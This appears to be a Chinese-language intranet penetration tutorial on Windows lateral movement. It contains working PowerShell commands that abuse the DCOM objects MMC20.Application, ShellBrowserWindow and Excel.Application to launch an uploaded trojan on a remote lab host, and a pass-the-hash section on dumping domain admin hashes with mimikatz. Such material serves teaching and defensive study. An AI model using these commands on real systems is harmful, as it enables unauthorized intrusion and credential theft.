这里先提两个概念,COM
和DCOM
COM
即组件对象模型(Component Object Model,COM
) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM
是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。一般的对象是由数据成员和作用在其上的方法组成,而组件对象和一般对象虽有相似性,但又有较大不同。组件对象不使用方法而用接口来描述自身。接口被定义为“在对象上实现的一组语义上相关的功能”,其实质是一组函数指针表,每个指针必须初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。
关于这个COM
,其实应该有很多师傅见过,那就是在windows情况下php
为数不多的几种disable_functions
的方法之一,就是利用windows的COM
组件进行绕过,这里我就不往深处拓展了
DCOM
(分布式组件对象模型)是微软基于组件对象模型(COM
)的一系列概念和程序接口,它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。DCOM是COM(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。DCOM 使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管COM服务器端的软件(通常在DLL或exe中)可以通过RPC向客户端公开其方法。
攻击者可使用 DCOM
进行横向移动,通过 DCOM
,攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。
使用DCOM
进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。例如我们滥用ShellBrowserWindow COM
对象,那么就会在远程主机的现有explorer.exe
进程中执行。对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向DCOM
公开方法,因此防御者可能难以全面监测所有程序的执行。
这里利用DCOM
进行横向移动有两个条件:
DCOM
进行横向移动的操作如下:
1.与靶机建立ipc连接
2.cs生成木马使用copy命令上传到靶机
3.调用DCOM
远程执行命令
调用MMC20.Application远程执行命令
通过PowerShell
与DCOM
进行远程交互,此外,我们只需要提供一个DCOM ProgID
和一个IP地址,然后,它就从远程返回一个COM对象
的实例。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138))
执行以上命令我们就可以调用ExecuteShellCommand
方法在远程主机上启动进程
调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
通过调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
来执行exe文件
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c c:\shell.exe","c:\windows\system32",$null,0)
调用Excel.Application远程执行命令
# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))
$com.DisplayAlerts = $false
# 然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程
$com.DDEInitiate("cmd.exe","/c C:\shell.exe")
PTH(pass the hash)
pass-the-hash
在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash
和NTLM Hash
访问远程主机或服务,而不用提供明文密码。
pass the hash
原理:
-
在Windows系统中,通常会使用NTLM身份认证
-
NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
-
hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
-
如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
这类攻击适用于:
-
域/工作组环境
-
可以获得hash,但是条件不允许对hash爆破
-
内网中存在和当前机器相同的密码
微软也对pth
打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash
已经无法成功,唯独默认的Administrator(SID 500)
账号例外,利用这个账号仍可以进行Pass The Hash
远程ipc连接。
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。
从windows到windows横向pth这一类攻击方法比较广泛。
首先使用mimikatz
抓取域管hash,注意mimikatz
在抓取到hash之后是不能够直接复制的,所以我们这里选择用log参数将抓取到的hash输出为txt
使用mimikatz
hash传递